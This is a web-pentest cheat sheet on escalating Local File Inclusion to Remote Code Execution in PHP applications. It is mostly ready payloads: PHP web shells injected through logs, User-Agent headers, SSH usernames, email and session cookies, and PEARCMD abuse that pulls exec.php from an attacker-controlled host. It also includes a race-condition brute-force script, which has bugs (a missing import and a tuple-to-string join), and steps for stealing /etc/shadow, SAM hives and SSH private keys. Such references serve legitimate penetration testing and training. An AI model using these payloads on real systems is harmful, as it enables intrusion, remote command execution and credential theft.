Skip to content

LFI to RCE

LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).

Summary

LFI to RCE via /proc/*/fd

  1. Upload a lot of shells (for example : 100)
  2. Include /proc/$PID/fd/$FD where $PID is the PID of the process and $FD the filedescriptor. Both of them can be bruteforced.
http://example.com/index.php?page=/proc/$PID/fd/$FD

LFI to RCE via /proc/self/environ

Like a log file, send the payload in the User-Agent header, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

LFI to RCE via iconv

Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from /proc/self/maps and to download the glibc binary. Finally you get the RCE by exploiting the zend_mm_heap structure to call a free() that have been remapped to system using custom_heap._free.

Requirements:

  • PHP 7.0.0 (2015) to 8.3.7 (2024)
  • GNU C Library (glibc) <= 2.39
  • Access to convert.iconv, zlib.inflate, dechunk filters

Exploit:

LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

LFI to RCE via upload (race)

  • Upload a file and trigger a self-inclusion.
  • Repeat the upload a shitload of time to:
  • increase our odds of winning the race
  • increase our guessing odds
  • Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
  • Enjoy our shell.
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')

LFI to RCE via upload (FindFirstFile)

⚠ Only works on Windows

FindFirstFile allows using masks (<< as * and > as ?) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.

  • */<< : Represents any sequence of characters.
  • ?/> : Represents any single character.

Upload a file, it should be stored in the temp folder C:\Windows\Temp\ with a generated name like php[A-F0-9]{4}.tmp. Then either bruteforce the 65536 filenames or use a wildcard character like: http://site/vuln.php?inc=c:\windows\temp\php<<

LFI to RCE via phpinfo()

PHPinfo() displays the content of any variables such as $_GET, $_POST and $_FILES.

By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.

Use the script phpInfoLFI.py

Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

RCE via SSH

Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>.

ssh <?php system($_GET["cmd"]);?>@10.10.10.10

Then include the SSH log files inside the Web Application.

http://example.com/index.php?page=/var/log/auth.log&cmd=id

RCE via Mail

First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.

root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.

In some cases you can also send the email with the mail command line.

mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null

RCE via Apache logs

Poison the User-Agent in access logs:

$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id

LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

LFI to RCE via PHP PEARCMD

PEAR is a framework and distribution system for reusable PHP components. By default pearcmd.php is installed in every Docker PHP image from hub.docker.com in /usr/local/lib/php/pearcmd.php.

The file pearcmd.php uses $_SERVER['argv'] to get its arguments. The directive register_argc_argv must be set to On in PHP configuration (php.ini) for this attack to work.

register_argc_argv = On

There are this ways to exploit it.

  • Method 1: config create 

    /vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();

  • Method 2: man_dir 

    /vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id
    The created configuration file contains the webshell. 
    #PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}

  • Method 3: download (need external network connection). 

    /vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
/vuln.php?file=exec.php&c=id

  • Method 4: install (need external network connection). Notice that exec.php locates at /tmp/pear/download/exec.php. 

    /vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id

LFI to RCE via credentials files

This method require high privileges inside the application in order to read the sensitive files.

Windows version

Extract sam and system files.

http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system

Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt, and crack them with hashcat/john or replay them using the Pass The Hash technique.

Linux version

Extract /etc/shadow files.

http://example.com/index.php?page=../../../../../../etc/shadow

Then crack the hashes inside in order to login via SSH on the machine.

Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: id_rsa. If SSH is active, check which user is being used in the machine by including the content of /etc/passwd and try to access /<HOME>/.ssh/id_rsa for every user with a home.

References